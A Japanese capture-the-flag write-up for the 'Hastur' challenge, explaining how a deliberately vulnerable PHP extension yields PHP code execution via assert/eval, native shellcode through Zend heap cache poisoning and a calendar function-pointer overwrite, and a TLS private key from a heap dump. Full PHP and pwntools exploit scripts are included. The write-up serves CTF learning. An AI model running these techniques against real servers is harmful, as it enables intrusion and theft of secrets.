Contents
Hastur (flag1)
mod_flag.soを見ることで/flag1にflag1が存在することがわかる.
hastur_set_nameはstrncpyを用いているように見えるが,その実,受け取った長さをそのまま渡しており,実質strcpyである.
god_nameはhandlerと連続しており,hastur_set_nameによってhandlerを上書きできる.
handlerはhastur_ia_ia関数で使われており,その名前のPHPの関数に引数(text, god_name)を与えて呼び出す. ただしここでtextとは第1引数を"flag"から"iaia"に置換したものである.
1 static PHP_FUNCTION(hastur_ia_ia)
2 {
3 zval **params[2];
4 char *text;
5 int text_len;
6 zval *text_zval;
7 zval *name_zval;
8 zval *handler_zval;
9 zval *retval_ptr;
10 int i;
11
12 MAKE_STD_ZVAL(handler_zval);
13 MAKE_STD_ZVAL(name_zval);
14 MAKE_STD_ZVAL(text_zval);
15 ZVAL_STRING(handler_zval, handler, 1);
16 ZVAL_STRING(name_zval, god_name, 1);
17 params[0] = &text_zval;
18 params[1] = &name_zval;
19
20 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &text, &text_len) == FAILURE) {
21 RETURN_FALSE;
22 }
23 ZVAL_STRINGL(text_zval, text, text_len, 1);
24 char *ntext = Z_STRVAL_P(text_zval);
25 for (i = 0; i < text_len; i++) {
26 if (strncmp(ntext + i, "flag", 4) == 0) {
27 strncpy(ntext + i, "iaia", 4);
28 }
29 }
30
31 if (call_user_function_ex(EG(function_table), NULL, handler_zval,
32 &retval_ptr, 2, params, 0, NULL TSRMLS_CC) == SUCCESS) {
33 if (retval_ptr) {
34 COPY_PZVAL_TO_ZVAL(*return_value, retval_ptr);
35 }
36 }
37
38 FREE_ZVAL(handler_zval);
39 FREE_ZVAL(name_zval);
40 // あ,text_zval開放し忘れてる……
41 }
よって,2引数の関数を,第1引数をほぼ自由にコントロールできる状態で呼び出すことができる. ただし,"flag"が置換されてしまうため,直接file_get_contentsを呼び出してフラグを得ることができない.
assertとevalを用いることで,この条件で任意のPHPコードを実行することができる.
Reference: http://average-coder.blogspot.jp/2014_01_01_archive.html
Hastur (flag2)
flag2はmod_flag.soのBSS領域に記録されている. flag1で任意のPHPコードは実行できるようになったので まず初めに思いつくのは/proc/self/memから読み出す方法であるが, rootでプロセスが起動してから権限降格しているために/proc/self/memの所有者はrootとなっている. このためファイルシステムからメモリを読みだす方法を取ることができない. よって,flag2を得るためにはapacheのプロセス上でメモリを書き出す必要がある.
任意コード実行に持ち込まない持ち込まない解法も考えられるが この解法ではnative codeの任意コード実行に持ち込んだ. (もっと簡単にメモリのダンプだけできることはエクスプロイトを作っただいぶ後に気づいたため.)
hastur.soのhastur_ia_ia_handlerにはヒープオーバーフローの脆弱性があるためこれを用いる.
1 static PHP_FUNCTION(hastur_ia_ia_handler)
2 {
3 char *text, *name;
4 int text_len, name_len;
5 int i;
6 char extra[1024];
7 int extra_len;
8
9 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
10 &text, &text_len,
11 &name, &name_len) == FAILURE) {
12 RETURN_FALSE;
13 }
14
15 snprintf(extra, sizeof(extra), " ia! ia! %s!", name);
16 extra_len = strlen(extra);
17
18 size_t new_len = 0;
19 char *p = text;
20 while (*p) {
21 new_len++;
22 if (*p++ == '.')
23 new_len += extra_len;
24 }
25
26 char *ns = emalloc(new_len + 1);
27 p = ns;
28 for (i = 0; i < text_len; i++) {
29 *p++ = text[i];
30 if (text[i] == '.') {
31 strncpy(p, extra, extra_len);
32 p += extra_len;
33 }
34 }
35 *p = '\0';
36 RETURN_STRING(ns, 0);
37 }
new_lenはtextの'\0'までを処理した長さであるが, new_len+1だけ確保されたメモリに,'\0'と無関係に与えられた長さtext_len分だけ書き込んでいる. これを用いてヒープの管理構造を破壊することができる.
PHPのメモリ管理: https://wiki.php.net/internals/zend_mm
主要なメモリ管理構造は次のようになっている.
1 typedef struct _zend_mm_block_info {
2 size_t _size;
3 size_t _prev;
4 } zend_mm_block_info;
5
6 typedef struct _zend_mm_block {
7 zend_mm_block_info info;
8 } zend_mm_block;
9
10 typedef struct _zend_mm_small_free_block {
11 zend_mm_block_info info;
12 struct _zend_mm_free_block *prev_free_block;
13 struct _zend_mm_free_block *next_free_block;
14 } zend_mm_small_free_block;
つまりzend_mm_small_free_blockの位置関係は次の図のようになっている.
0 1 2 3 4 5 6 7 +----+----+----+----+----+----+----+----+ | _size | _prev | +----+----+----+----+----+----+----+----+ | prev_free_block | next_free_block | +----+----+----+----+----+----+----+----+
主要なマクロは次の通り.
1 #define ZEND_MM_NUM_BUCKETS (sizeof(size_t) << 3)
2 #define ZEND_MM_ALIGNMENT 8
3 #define ZEND_MM_ALIGNMENT_LOG2 3
4
5 #define ZEND_MM_ALIGNMENT_MASK ~(ZEND_MM_ALIGNMENT-1)
6 #define ZEND_MM_ALIGNED_SIZE(size) (((size) + ZEND_MM_ALIGNMENT - 1) & ZEND_MM_ALIGNMENT_MASK)
7 #define ZEND_MM_ALIGNED_HEADER_SIZE ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_block))
8
9 #define ZEND_MM_BLOCK_AT(blk, offset) ((zend_mm_block *) (((char *) (blk))+(offset)))
10 #define ZEND_MM_DATA_OF(p) ((void *) (((char *) (p))+ZEND_MM_ALIGNED_HEADER_SIZE))
11 #define ZEND_MM_HEADER_OF(blk) ZEND_MM_BLOCK_AT(blk, -(int)ZEND_MM_ALIGNED_HEADER_SIZE)
12
13 #define ZEND_MM_MAX_SMALL_SIZE ((ZEND_MM_NUM_BUCKETS<<ZEND_MM_ALIGNMENT_LOG2)+ZEND_MM_ALIGNED_MIN_HEADER_SIZE)
14
解放(_efree)された小さなメモリブロックはcache構造にpush(LIFO)される.
1 static void _zend_mm_free_int(zend_mm_heap *heap, void *p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
2 {
3 ...
4 if (EXPECTED(ZEND_MM_SMALL_SIZE(size)) && EXPECTED(heap->cached < ZEND_MM_CACHE_SIZE)) {
5 size_t index = ZEND_MM_BUCKET_INDEX(size);
6 zend_mm_free_block **cache = &heap->cache[index];
7
8 ((zend_mm_free_block*)mm_block)->prev_free_block = *cache;
9 *cache = (zend_mm_free_block*)mm_block;
10 heap->cached += size;
11
12 HANDLE_UNBLOCK_INTERRUPTIONS();
13 return;
14 }
そして確保(_emalloc)された時にサイズの一致するcacheがあれば優先してそれをpopして返す.
1 static void *_zend_mm_alloc_int(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
2 {
3 ...
4 if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
5 size_t index = ZEND_MM_BUCKET_INDEX(true_size);
6 size_t bitmap;
7
8 if (UNEXPECTED(true_size < size)) {
9 goto out_of_memory;
10 }
11 #if ZEND_MM_CACHE
12 if (EXPECTED(heap->cache[index] != NULL)) { /* サイズの一致するcacheがあれば */
13 /* Get block from cache */
14 best_fit = heap->cache[index];
15 heap->cache[index] = best_fit->prev_free_block;
16 heap->cached -= true_size;
17 ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
18 ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
19 HANDLE_UNBLOCK_INTERRUPTIONS();
20 return ZEND_MM_DATA_OF(best_fit);
21 }
22 #endif
23
よって,書き換えたいアドレス(-ZEND_MM_ALIGNED_HEADER_SIZE)をcacheに積むことができれば, 次に_emallocした時にそのアドレスが返される.
_zend_mm_alloc_intのキャッシュからのメモリ確保の処理で,popしている部分に注目する.
1 heap->cache[index] = best_fit->prev_free_block;
これは,今,確保して返そうとしているsmall_free_blockのprev_free_block部分にある アドレスが次のcacheの先頭になることを意味している. よって,次に確保されるブロック上にあるprev_free_blockをヒープオーバーフローで上書きしてやれば良い.
任意のアドレスにデータを上書きできるようになったので,次にどこを書き換えるべきかを考える. 候補は次のように複数あり,どれを利用してもexploit可能だと考えられる.
- stack
- GOT
- 関数ポインタ
ここでは関数ポインタを上書きする手法を述べる. 関数ポインタの場合は何でも良いわけではなく,引数が制御できる必要がある. stack書き換えでROPする場合にはこのような点は考えなくて良いだろう.
calendarモジュールには次のような関数ポインタが含まれる構造が存在する.
1 typedef long int (*cal_to_jd_func_t) (int month, int day, int year);
2 typedef void (*cal_from_jd_func_t) (long int jd, int *year, int *month, int *day);
3
4 struct cal_entry_t {
5 char *name;
6 char *symbol;
7 cal_to_jd_func_t to_jd;
8 cal_from_jd_func_t from_jd;
9 int num_months;
10 int max_days_in_month;
11 char **month_name_short;
12 char **month_name_long;
13 };
14
15 static struct cal_entry_t cal_conversion_table[CAL_NUM_CALS] = {
16 {"Gregorian", "CAL_GREGORIAN", GregorianToSdn, SdnToGregorian, 12, 31,
17 MonthNameShort, MonthNameLong},
18 {"Julian", "CAL_JULIAN", JulianToSdn, SdnToJulian, 12, 31,
19 MonthNameShort, MonthNameLong},
20 {"Jewish", "CAL_JEWISH", JewishToSdn, SdnToJewish, 13, 30,
21 JewishMonthNameLeap, JewishMonthNameLeap},
22 {"French", "CAL_FRENCH", FrenchToSdn, SdnToFrench, 13, 30,
23 FrenchMonthName, FrenchMonthName}
24 };
特にto_jdの呼び出し部分は次のようになっており,3引数の制御が可能である.
1 PHP_FUNCTION(cal_to_jd)
2 {
3 long cal, month, day, year;
4
5 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "llll", &cal, &month, &day, &year) != SUCCESS) {
6 RETURN_FALSE;
7 }
8
9 if (cal < 0 || cal >= CAL_NUM_CALS) {
10 php_error_docref(NULL TSRMLS_CC, E_WARNING, "invalid calendar ID %ld.", cal);
11 RETURN_FALSE;
12 }
13
14 RETURN_LONG(cal_conversion_table[cal].to_jd(year, month, day));
15 }
これを利用してmprotectを実行することで,適当な文字列内に配置したシェルコードを実行することが可能になる.
以上を総合して,次のようなexploitで,シェルコードの実行が可能となる.
exec-shellcode.php
1 <?php
2 define("DEBUG", 0);
3 define("SIZE", 128);
4
5 $cal_conversion_table = %%CAL_CONVERSION_TABLE%%;
6 $mprotect = %%MPROTECT%%;
7 $shellcode = "%%ESCAPED_SHELLCODE%%";
8
9 $payload = str_repeat("A", SIZE-1)."\0".
10 pack("LLL", (8+SIZE) | 1, (8+SIZE) | 1, $cal_conversion_table);
11
12 $addr_shellcode = $cal_conversion_table + 0x10;
13
14 // reserve small blocks
15 $reserved_small_blocks = array_fill(0, 256, NULL);
16 for ($i = 0; $i < 256; $i++)
17 array_push($reserved_small_blocks, str_repeat("@", SIZE-9));
18 // consume caches
19 $a = array_fill(0, 256, NULL);
20 for ($i = 0; $i < 256; $i++)
21 array_push($a, str_repeat("@", SIZE-1));
22 // supply small blocks for caches
23 unset($reserved_small_blocks);
24 // supply target blocks for caches
25 $reserved_blocks = array_fill(0, 4, NULL);
26 for ($i = 0; $i < 4; $i++)
27 $reserved_blocks[$i] = str_repeat("@", SIZE-1);
28 for ($i = count($reserved_blocks)-1; $i >= 0; $i--)
29 unset($reserved_blocks[$i]);
30
31 $foo = str_repeat("1", SIZE-1);
32 $bar = str_repeat("2", SIZE-1);
33 $baz = str_repeat("3", SIZE-1);
34 if (DEBUG) {
35 echo "[foo]\n";
36 hastur_dump($foo);
37 }
38 unset($bar, $foo);
39 // make overflow; insert cal_conversion_table to cache list
40 $foo = hastur_ia_ia_handler($payload, '');
41 if (DEBUG) {
42 echo "[foo]\n";
43 hastur_dump($foo);
44 }
45 // pop; cal_conversion_table will be top of cache.
46 $bar = str_repeat("A", SIZE-1);
47 if (DEBUG) {
48 echo "[bar]\n";
49 hastur_dump($bar);
50 }
51 // overwrite to cal_conversion_table.
52 $baz = str_pad(pack("LL", $mprotect, $addr_shellcode).
53 $shellcode, SIZE-1);
54 if (DEBUG) {
55 echo "[baz]\n";
56 hastur_dump($baz);
57 }
58
59 // let shellcode executable
60 $addr = $addr_shellcode & ~(4096-1);
61 $size = 8192;
62 $prot = 7;
63 cal_to_jd(0, $size, $prot, $addr);
64
65 echo "Let's fun\n";
66 flush();
67
68 // run shellcode
69 cal_from_jd(0, 0);
exploit.py
1 import urllib
2 from pwn import *
3 context(arch = "i386", os = "linux")
4
5 HOST = 'localhost'
6 PORT = 31178
7 if len(sys.argv) > 1:
8 HOST = sys.argv[1]
9 if len(sys.argv) > 2:
10 PORT = int(sys.argv[2])
11
12 def resolve_addresses():
13 global REL_CAL_CONVERSION_TABLE
14 global REL_PHP_OUTPUT_WRITE_UNBUFFERED
15 global REL_MPROTECT
16 if not os.path.exists("data/libphp5.so"):
17 cmd = "print(file_get_contents('/usr/lib/apache2/modules/libphp5.so'));"
18 with open("data/libphp5.so", "w") as f:
19 f.write(execute_php(cmd).recvall()[:-7])
20 if not os.path.exists("data/libc-2.19.so"):
21 cmd = "print(file_get_contents('/lib/i386-linux-gnu/libc-2.19.so'));"
22 with open("data/libc-2.19.so", "w") as f:
23 f.write(execute_php(cmd).recvall()[:-7])
24
25 php5 = ELF("data/libphp5.so")
26 libc = ELF("data/libc-2.19.so")
27 REL_CAL_CONVERSION_TABLE = list(php5.search(p32(list(php5.search("CAL_GREGORIAN\0"))[0])))[0]-4
28 REL_PHP_OUTPUT_WRITE_UNBUFFERED = php5.symbols["php_output_write_unbuffered"]
29 REL_MPROTECT = libc.symbols["mprotect"]
30
31 def connect():
32 return remote(HOST, PORT)
33
34 def read_chunk(conn):
35 line = conn.recvline()
36 length = unhex(line)
37 return conn.recvn(line)
38
39 def execute_php(script):
40 if script[:5] == "<?php":
41 script = script[5:]
42 script = 'ob_end_flush();echo str_repeat("@", 15)."\n";' + "\n" + script
43
44 form = {
45 "name": "A"*32 + "assert",
46 "text": "@exit(@eval(@base64_decode('" + script.encode("base64") + "')))",
47 }
48 post_data = urllib.urlencode(form)
49
50 conn = connect()
51 conn.send("POST / HTTP/1.1\r\n")
52 conn.send("Host: localhost\r\n")
53 conn.send("Content-Type: application/x-www-form-urlencoded\r\n")
54 conn.send("Content-Length: %d\r\n" % len(post_data))
55 conn.send("\r\n")
56 conn.send(post_data)
57 #header = conn.recvuntil("\r\n\r\n")
58 #print header
59 #if "chunked" in header:
60 # pass
61 conn.recvuntil("@"*15 + "\n")
62 return conn
63
64 def extract_maps(raw = False):
65 marker = "@@@@@@"
66 script = 'echo "%s".file_get_contents("/proc/self/maps")."%s";' % (marker, marker)
67 conn = execute_php(script)
68 conn.recvuntil(marker)
69 result_raw = conn.recvuntil(marker, drop=True)
70 conn.close()
71
72 if raw:
73 return result_raw
74
75 result = []
76 pat = re.compile('^(\w+)-(\w+) (\S+) \w+ \w+:\w+ \w+\s+(.*)$')
77 for line in result_raw.split("\n"):
78 m = pat.search(line)
79 if m:
80 addr_begin = int(m.group(1), 16)
81 addr_end = int(m.group(2), 16)
82 perms = m.group(3)
83 pathname = m.group(4)
84 result.append((addr_begin, addr_end, perms, pathname))
85
86 return result
87
88 def find_base(maps, pathname):
89 for e in maps:
90 if e[3] == pathname:
91 return e[0]
92 return None
93
94 def find_tail(maps, pathname):
95 t = 0
96 for e in maps:
97 if e[3] == pathname:
98 t = e[1]
99 return t
100
101 def php_string_escape(s):
102 t = ""
103 for c in s:
104 t += "\\" + hex(ord(c))[1:]
105 return t
106
107 def dump_memory(maps, start_addr, length):
108 php5_base = find_base(maps, "/usr/lib/apache2/modules/libphp5.so")
109 libc_base = find_base(maps, "/lib/i386-linux-gnu/libc-2.19.so")
110
111 cal_conversion_table = php5_base + REL_CAL_CONVERSION_TABLE
112 php_output_write_unbuffered = php5_base + REL_PHP_OUTPUT_WRITE_UNBUFFERED
113 mprotect = libc_base + REL_MPROTECT
114
115 shellcode_asm = """
116 _start:
117 mov eax, {func_addr}
118 push {length}
119 push {start_addr}
120 call eax
121 /* send dummy */
122 mov eax, {func_addr}
123 push 4096
124 push {start_addr}
125 call eax
126 exit:
127 mov eax, 1
128 int 0x80
129 """.format(length=length, start_addr=start_addr,
130 func_addr=php_output_write_unbuffered)
131 shellcode = asm(shellcode_asm)
132 if "." in shellcode:
133 print "Unlucky shellcode!"
134 exit(1)
135
136 script = file("exec-shellcode.php").read()
137 vars = {
138 "CAL_CONVERSION_TABLE": str(cal_conversion_table),
139 "MPROTECT": str(mprotect),
140 "ESCAPED_SHELLCODE": php_string_escape(shellcode),
141 }
142 def replace_var(m):
143 return vars[m.group(1)]
144 script = re.sub('%%(\w+)%%', replace_var, script)
145
146 conn = execute_php(script)
147 print conn.recvuntil("Let's fun\n")
148 # sync flush
149 conn.recvline()
150 # assert chunk size
151 if int(conn.recvline(), 16) < length:
152 print "chunks are collapsed."
153 exit(1)
154
155 memory = conn.recvn(length)
156 conn.close()
157 return memory
158
159 def dump_heap():
160 with file("data/dumped-maps", "w") as f:
161 f.write(extract_maps(raw=True))
162
163 maps = extract_maps()
164 heap_base = find_base(maps, "[heap]")
165 heap_tail = find_tail(maps, "[heap]")
166 heap_size = heap_tail - heap_base
167
168 heap = dump_memory(maps, heap_base, heap_size)
169 with file("data/dumped-heap", "w") as f:
170 f.write(heap)
171 print "Heap: %08x-%08x" % (heap_base, heap_base + heap_size)
172 print "maps is dumped to data/dumped-maps"
173 print "heap is dumped to data/dumped-heap"
174
175 def show_flag1():
176 script = "echo file_get_contents('/flag1');"
177 conn = execute_php(script)
178 print "Flag1: %s" % conn.recvline()[:-1]
179 print
180 conn.close()
181
182 def dump_flag2():
183 maps = extract_maps()
184 mod_flag_base = find_base(maps, "/usr/lib/apache2/modules/mod_flag.so")
185 mod_flag_tail = find_tail(maps, "/usr/lib/apache2/modules/mod_flag.so")
186 mod_flag_size = mod_flag_tail - mod_flag_base
187 memory = dump_memory(maps, mod_flag_base, mod_flag_size)
188 with file("data/dumped-mod_flag", "w") as f:
189 f.write(memory)
190 print "mod_flag is dumped to data/dumped-mod_flag"
191
192 show_flag1()
193
194 resolve_addresses()
195 dump_flag2()
196 dump_heap()
Hastur (flag3)
Apacheプロセスのheap領域をダンプして証明書の公開鍵のnで検索すると,秘密鍵が(多分)der形式で存在することを発見できる. p, qを取り出して適当に秘密鍵を再構成して,Wiresharkなどにpcapと一緒に食わせるとflag3が得られる.